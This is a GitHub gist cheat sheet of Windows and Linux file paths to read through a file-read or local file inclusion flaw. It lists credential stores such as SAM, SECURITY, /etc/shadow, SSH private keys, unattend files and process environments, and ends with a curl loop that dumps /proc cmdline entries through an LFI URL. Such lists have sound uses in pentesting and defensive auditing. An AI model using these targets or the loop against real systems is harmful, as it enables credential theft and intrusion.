Skip to content

Instantly share code, notes, and snippets.

@ImaginaryBIT
Last active June 20, 2022 05:51
Show Gist options
  • Save ImaginaryBIT/aee09748a2a716709d8bd32d513df4ef to your computer and use it in GitHub Desktop.
Save ImaginaryBIT/aee09748a2a716709d8bd32d513df4ef to your computer and use it in GitHub Desktop.
# Significant Files
//Windows
\inetpub\wwwroot\web.config
\inetpub\logs\LogFiles\*
\xampp\apache\conf\httpd.conf
\xampp\apache\conf\extra\httpd-xampp.conf
\xampp\security\webdav.htpasswd
\xampp\apache\logs\access.log
\xampp\php\php.ini
C:\Users\Default\NTUSER.DAT
%HOMEPATH%\Desktop\desktop.ini
%HOMEPATH%\NTUSER.DAT
%HOMEPATH%\\AppData\Local\Microsoft\Windows\UsrClass.dat
C:\windows\system32\drivers\etc\hosts
%WINDIR%\system32\debug/NetSetup.log
%WINDIR%\system32\ServiceProfiles\LocalService\NTUSER.DAT
%WINDIR%\system32\ServiceProfiles\NetworkService\NTUSER.DAT
%WINDIR%\system32\config/AppEvent.Evt
%WINDIR%\system32\config/SecEvent.Evt
%WINDIR%\system32\config/SYSTEM
%WINDIR%\system32\config/SOFTWARE
%WINDIR%\system32\config/SECURITY
%WINDIR%\system32\config/SAM
%WINDIR%\system32\win.ini
%WINDIR%\Panther\unattend.txt
%WINDIR%\Panther\unattend.xml
%WINDIR%\Panther\unattended.xml
%WINDIR%\Panther\sysprep.inf
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\CONFIG
%USERPROFILE%|%HOMEPATH% : C:\Users\[username]\
%WINDIR%|%SYSTEMROOT% : C:\windows\
//Linux
/default_path/.ssh/id_rsa
/etc/passwd
/etc/shadow
/etc/group
/etc/motd - message of the day
/etc/hosts
/etc/motd
/etc/issue
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/apache2/sites-available/000-default.conf
/var/log/apache2/access.log
/proc/self/environ
/proc/self/status
/proc/version
/proc/sched_debug
/proc/cmdline
/proc/self/fd/1
/proc/self/cwd/.env
for i in $(seq 0 1000);do curl http://lfi/.../proc/${i}/cmdline --output - | cut -d'/' -f 8-/ > $i;
config.js
config.php
web.config
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment